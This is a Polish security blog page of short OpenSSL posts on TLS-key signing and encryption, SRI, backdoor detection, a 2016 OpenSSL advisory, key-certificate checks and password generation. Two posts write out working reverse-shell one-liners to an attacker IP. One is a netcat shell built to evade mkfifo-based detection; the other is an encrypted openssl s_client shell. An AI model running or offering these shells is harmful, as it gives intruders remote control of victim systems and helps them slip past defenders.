J

akiś czas temu dowiedzieliśmy się, że klucze OpenSSH mogą posłużyć do podpisywania plików lub commitów git. Do tego samego celu możemy wykorzystać klucze używane w certyfikatach SSL/TLS (pozyskane z dowolnej strony, która jest dostępna za pomocą protokołu HTTPS). Pierwszym krokiem jest stworzenie pliku z wiadomością:

echo 'TOP Secret Message' > msg.txt

Drugim jest podpisanie pliku za pomocą prywatnego klucza, który znajduje się na serwerze:

openssl dgst -sha256 -sign /etc/apache2/ssl/server.key -out msg.txt.sig msg.txt

Trzecim jest konwersja pliku msg.txt.sig z formatu binarnego do tekstowego używając BASE64:

openssl base64 -in msg.txt.sig -out msg.txt.sig.asc

Jeśli teraz opublikujemy plik z wiadomością msg.txt oraz jego podpis: msg.txt.sig.asc, każdy posiadający dostęp do strony będzie mógł zweryfikować jej autentyczność. W pierwszym kroku użytkownik musi uzyskać klucz publiczny:

openssl s_client -connect nfsec.pl:443 | openssl x509 -pubkey -noout > pubkey.key

Następnie użytkownik musi ponownie zamienić opublikowaną sygnaturę tekstową do formy binarnej:

openssl base64 -d -in msg.txt.sig.asc -out msg.txt.sig

i zweryfikować poprawność wiadomości za pomocą pobranego klucza:

user@user:~$ openssl dgst -keyform pem -verify pubkey.key -signature msg.txt.sig msg.txt
Verified OK

Ale to nie wszystko. Skoro użytkownik może bardzo prosto pozyskać klucz publiczny serwera to jest w stanie szyfrować wiadomości przeznaczone do jego administratora lub właściciela:

openssl pkeyutl -in msg.txt -out to_agresor.enc -pubin -inkey pubkey.key -encrypt

Tak przesłana wiadomość może zostać odczytana za pomocą klucza prywatnego, który został użyty w certyfikacie TLS/SSL danego serwera:

root@stardust:~# openssl pkeyutl -in to_agresor.enc -out msg.txt -inkey \
                 /etc/apache2/ssl/server.key -decrypt
root@stardust:~# cat msg.txt
TOP Secret Message

W ten sposób każdy użytkownik może zaszyfrować wiadomość dla właścicieli swoich ulubionych stron internetowych – nawet jeśli nie publikują one jawnie klucza publicznego.

Więcej informacji: Using HTTPS certificates to sign/encrypt arbitrary data

J

eśli kiedykolwiek próbowaliśmy stworzyć reverse shell, czy to za pomocą telnet, czy OpenSSL – prawdopodobnie miały one wspólny układ:

mkfifo /tmp/f; nc 1.2.3.4 31337 </tmp/f | sh >/tmp/f; rm /tmp/f

Na początku tworzony jest nazwany potok FIFO za pomocą polecenia mkfifo w ścieżce /tmp/f. Następnie uruchamiany jest program binarny (tutaj netcat), który pobiera dane wejściowe z tego potoku. Całość danych wyjściowych z programu binarnego jest przekazywana zwykłym potokiem (ang. pipe) do procesu powłoki sh. Wyjście powłoki jest przesyłane z powrotem przez nazwany potok FIFO do wejścia programu binarnego. Gdy program binarny i powłoka sh zakończą swoje działanie, polecenie rm usuwa nazwany potok FIFO w ścieżce /tmp/f.

Plik specjalny FIFO (nazwany potok) jest podobny do zwykłego potoku (|), z wyjątkiem tego, że jest dostępny jako część systemu plików. Może być otwierany przez wiele procesów w celu odczytu i zapisu. Gdy procesy wymieniają dane za pośrednictwem FIFO, jądro przekazuje wszystkie dane wewnętrznie bez zapisywania ich w systemie plików. Tak, więc specjalny plik FIFO nie ma zawartości w systemie plików – wpis w systemie plików służy jedynie jako punkt odniesienia, dzięki czemu procesy mogą uzyskać dostęp do potoku przy użyciu nazwy w systemie plików.

Polecenie mkfifo jest tutaj koniecznie, ponieważ potrzebujemy dwóch kanałów komunikacji: netcat do sh oraz sh do netcat, a potok użyty w powłoce (|) daje tylko jednokierunkowy prymityw. Istnieje wiele wad korzystania z mkfifo. Dość powszechne jest tworzenie reguł wykrywających tego typu ładunki poleceń przez niebieskie zespoły (ang. blue teams). Ponieważ programy binarne są tutaj wymienne (nc, telnet, openssl) włączenie programu mkfifo do sygnału wykrywania odwróconych powłok jest naturalnym krokiem. Poza tym krok czyszczenia (rm /tmp/f) czasami kończy się niepowodzeniem, pozostawiając błędny plik FIFO. Wreszcie – nie zawsze można znaleźć zapisywalne lokalizacje na systemie plików np. gdy procesy uruchomione są w chroot lub kontenerze w trybie tylko do odczytu.

Jak możemy wykluczyć to polecenie? Na przykład tak:

{ nc 1.2.3.4 31337 </dev/fd/3 3>&- | sh >&3 3>&- ; } 3>&1 | :

Tworzymy podpowłokę (ang. subshell) za pomocą { } lub ( ), w której zamykamy kilka poleceń. Dane wyjściowe z tej podpowłoki potokiem przekazujemy do tzw. polecenia NOP (ang. do-nothing operation), czyli dwukropka (:) wcześniej przekierowując dane wyjściowe deskryptora pliku o numerze 3 na standardowe wyjście (3>&1). Wewnątrz podpowłoki program binarny netcat pobiera dane wejściowe z deskryptora pliku o numerze 3 (</dev/fd/3), który następnie jest zamykany (3>&-) – całość danych wyjściowych jest przekazywana potokiem to powłoki sh. Następnie powłoka sh pobiera dane wejściowe z programu binarnego netcat i przekazuje swoje dane wyjściowe ponownie do deskryptora plików numer 3 również go zamykając, aby uniknąć dodatkowych zwisających odwołań do ponownie użytego deskryptora. W ten sposób unikając polecenia mkfifo uzyskaliśmy możliwość odczytu, jak i zapisu do struktury potoku w pamięci systemu Linux.

Więcej informacji: fifo, Something’s special about /dev/fd/3, What does minus mean in “exec 3>&-” and how do I use it?, Czysta funkcja bash do pobierania i uruchamiania ładunków, Linux shellcraft: the pipe trick

C

iekawą funkcjonalność przeglądarek podesłał Maciej Kofel ze Szkoły Security – SRI, czyli Subresource Intergrity, która umożliwia przeglądarkom weryfikację, czy pobierane przez nie zasoby (na przykład z zewnętrznych serwisów CDN) są dostarczane bez nieoczekiwanych manipulacji. Mechanizm ten działa na podstawie porównania skrótu kryptograficznego, który musi być zgodny z pobranym zasobem. Korzystanie z serwisów CDN do hostowania plików (skryptów JS, akruszy CSS) na swojej stronie może poprawić jej wydajność i oszczędzić przepustowość na serwerze. Jednak wiąże się również z ryzykiem, ponieważ jeśli atakujący przejmie kontrolę nad tym zasobem, może wstrzyknąć dowolną, złośliwą zawartość do plików (lub całkowicie zastąpić pliki), a tym samym potencjalnie zaatakować wszystkie witryny, które pobierają pliki z danego serwisu CDN.
[ czytaj całość… ]

Z

nalezienie tylnego wejścia (ang. backdoor) uruchomionego w systemie Linux nie zawsze może być trywialne. Tylne furtki służą do interakcji atakującego z hostem w czasie rzeczywistym i są konsekwencją / kolejnym krokiem włamania do systemu. Sposród różnych backdoorów, które można wykorzystać w środowisku *nix jest bardzo dobrze znany bindshell, czyli powłoka, która nasłuchuje na określonym porcie TCP/IP. Uruchomi ona wszystko, co zostanie wysłane do tego portu i odpowie danymi wyjściowymi z przesłanych poleceń. Jej wariantem jest odwrócona powłoka (ang. reverse shell), ponieważ zamiast łączenia się atakującego z ofiarą, napastnik powoduje (np. poprzez podatną webaplikację), że to system ofiary łączy się do niego z powrotem. Dlaczego to takie ważne? Ponieważ większość funkcji filtrowania sieci jest skonfigurowana tak, aby szczegółowo blokować ruch przychodzący z internetu. Jednak bardzo często ruch wychodzący jest nieograniczony lub znacznie mniej filtrowany. Dlatego odwrócony bindshell jest świetnym sposobem na przeskakiwanie zapór ogniowych i innych mechanizmów ochrony.
[ czytaj całość… ]

Skoro wszędzie dzisiaj mamy szyfrowanie – wypada, aby powłoki zwrotne również były szyfrowane. W celu uruchomienia serwera do nasłuchu należy wygenerować klucz oraz certyfikat na maszynie (o IP: 1.2.3.4) służącej do ataku:

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes

Odpalenie serwera:

openssl s_server -quiet -key key.pem -cert cert.pem -port 8080

Na atakowanej maszynie, na której mamy możliwość RCE (ang. Remote Code Execution) wydajemy polecenie:

mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 \
| openssl s_client -quiet -connect 1.2.3.4:8080 > /tmp/s; rm /tmp/s

Więcej informacji: RevSSL

Jak sprawdzić, czy klucz prywatny pasuje do wydanego certyfikatu? Powinny posiadać identyczny skrót SHA256:

openssl rsa -noout -modulus -in kluczdomeny.key 2> /dev/null | sha256sum -

e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 -

openssl x509 -noout -modulus -in certyfikat.crt 2> /dev/null | sha256sum -

e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 -

Jeśli jest inaczej to znaczy, że coś poszło nie tak w procesie generowania certyfikatu lub pomyliliśmy pliki.

pwgen -sy 30
date +%s | sha256sum | base64 | head -c 30 ; echo
strings /dev/urandom | grep -o '[[:alnum:]]' | head -n 30 | tr -d '\n'; echo
< /dev/urandom tr -dc _A-Z-a-z-0-9 | head -c${1:-30}; echo;
gpg --gen-random --armor 1 30
openssl rand -base64 30

F

undacja OpenSSL wydała tuzin poprawek na wykryte podatności w swojej kryptograficznej bibliotece wliczając w to drastyczne błędy, które mogą prowadzić do przeprowadzenia ataków Denial-of-Service (DoS). Podatności istnieją w wersjach: 1.0.1, 1.0.2, 1.1.0 i zostały odpowiednio poprawione w: 1.0.1u, 1.0.2i oraz 1.1.0a. Pierwszy błąd zgłosił Shi Lei z chińskiej firmy ds. bezpieczeństwa Qihoo 360 – polega on na możliwości wysłania obszernych żądań typu “status” do rozszerzenia OCSP podczas negocjacji połączenia, co może spowodować wyczerpanie się pamięci na atakowanym serwerze. Drugą luką, która również umożliwia atak DoS jest przesłanie pustego rekordu do funkcji SSL_peek(), co spowoduje jej zawieszenie. Poza tym naprawiono dwanaście innych problemów niskiego ryzyka. Warto odnotować sobie, że wsparcie dla OpenSSL 1.0.1 kończy się 31 grudnia 2016 roku dlatego użytkownicy powinni zaktualizować swoje systemy do wyższej wersji w celu uniknięcia jakichkolwiek problemów z bezpieczeństwem w przyszłości.

Więcej informacji: OpenSSL OCSP Status Request extension unbounded memory growth (CVE-2016-6304), OpenSSL Security Advisory [22 Sep 2016]

P

rzeglądarki Chrome oraz Chromium wraz z wydaniem wersji 51 przestały wspierać rozszerzenie protokołu TLS – NPN, który pozwalał na negocjację połączeń za pomocą protokołu SPDY i HTTP/2 z klientami. Mechanizm ten został zastąpiony ALPN. Dobrą decyzją jest przełączenie się z NPN na ALPN, ponieważ wiąże się z tym więcej korzyści niż strat, ale całkowite porzucenie NPN już decyzją dobrą nie jest.
[ czytaj całość… ]

darkstar:~ $ openssl rand -base64 48
TIsXtvV8GYVwLfmu/3QBSgjtYkMt0igSnptSutQaPzBPj5mG5hScYduUlvF7bEQv
darkstar:~ $ openssl rand -base64 8
g3hWwwomLIY=